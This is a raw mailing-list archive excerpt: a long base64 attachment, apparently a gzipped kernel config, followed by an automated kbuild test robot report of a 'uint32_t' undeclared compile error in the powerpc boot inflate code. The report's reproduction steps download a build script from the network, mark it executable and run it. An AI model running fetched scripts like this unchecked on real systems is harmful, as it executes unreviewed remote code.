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
dkQltOtO9LVH/w96w2C1rxwBAA==

--huq684BweRXVnRxX--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: kbuild test robot <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [hp-parisc:boot_devel 2/2] arch/powerpc/boot/inflate.c:358:18:
 error: 'uint32_t' undeclared
Date: Sun, 20 Aug 2017 07:51:13 +0800
Lines: 343
Approved: news@gmane.org
Message-ID: <201708200711.P5rCbvmM%fengguang.wu@intel.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="8t9RHnE3ZwKMSgU+"
X-Trace: blaine.gmane.org 1503186689 16665 195.159.176.226 (19 Aug 2017 23:51:29 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 19 Aug 2017 23:51:29 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: kbuild-all@01.org, linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 20 01:51:23 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1djDWL-0003U0-9R
	for glpp-linux-parisc@m.gmane.org; Sun, 20 Aug 2017 01:51:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1752274AbdHSXvT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Sat, 19 Aug 2017 19:51:19 -0400
Original-Received: from mga03.intel.com ([134.134.136.65]:47523 "EHLO mga03.intel.com"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1752250AbdHSXvT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Sat, 19 Aug 2017 19:51:19 -0400
Original-Received: from orsmga002.jf.intel.com ([10.7.209.21])
  by orsmga103.jf.intel.com with ESMTP/TLS/DHE-RSA-AES256-GCM-SHA384; 19 Aug 2017 16:51:18 -0700
X-ExtLoop1: 1
X-IronPort-AV: E=Sophos;i="5.41,400,1498546800"; 
   d="gz'50?scan'50,208,50";a="126020262"
Original-Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14])
  by orsmga002.jf.intel.com with ESMTP; 19 Aug 2017 16:51:17 -0700
Original-Received: from kbuild by bee with local (Exim 4.84_2)
        (envelope-from <fengguang.wu@intel.com>)
        id 1djDav-000GTZ-W5; Sun, 20 Aug 2017 07:55:58 +0800
Content-Disposition: inline
X-SA-Exim-Connect-IP: <locally generated>
X-SA-Exim-Mail-From: fengguang.wu@intel.com
X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27717
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27717>


--8t9RHnE3ZwKMSgU+
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline

tree:   https://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git boot_devel
head:   2de6ba7d548dff737bdc47173c8a7b6b20d94966
commit: 2de6ba7d548dff737bdc47173c8a7b6b20d94966 [2/2] Initial support for compressed boot
config: powerpc-akebono_defconfig (attached as .config)
compiler: powerpc-linux-gnu-gcc (Debian 6.1.1-9) 6.1.1 20160705
reproduce:
        wget https://raw.githubusercontent.com/01org/lkp-tests/master/sbin/make.cross -O ~/bin/make.cross
        chmod +x ~/bin/make.cross
        git checkout 2de6ba7d548dff737bdc47173c8a7b6b20d94966
        # save the attached .config to linux build tree
        make.cross ARCH=powerpc 

All errors (new ones prefixed by >>):

   In file included from arch/powerpc/boot/inflate.c:12:0:
   arch/powerpc/boot/zutil.h: In function 'zlib_adler32':
   arch/powerpc/boot/zutil.h:82:5: error: unknown type name 'uint32_t'
        uint32_t s1 = adler & 0xffff;
        ^~~~~~~~
   arch/powerpc/boot/zutil.h:83:5: error: unknown type name 'uint32_t'
        uint32_t s2 = (adler >> 16) & 0xffff;
        ^~~~~~~~
   arch/powerpc/boot/inflate.c: In function 'zlib_inflate':
>> arch/powerpc/boot/inflate.c:358:18: error: 'uint32_t' undeclared (first use in this function)
                    (uint32_t)(((BITS(8) << 8) + (hold >> 8))) % 31) { // avoid __umoddi3
                     ^~~~~~~~
   arch/powerpc/boot/inflate.c:358:18: note: each undeclared identifier is reported only once for each function it appears in

---
0-DAY kernel test infrastructure                Open Source Technology Center
https://lists.01.org/pipermail/kbuild-all                   Intel Corporation

--8t9RHnE3ZwKMSgU+
Content-Type: application/gzip
Content-Disposition: attachment; filename=".config.gz"
Content-Transfer-Encoding: base64

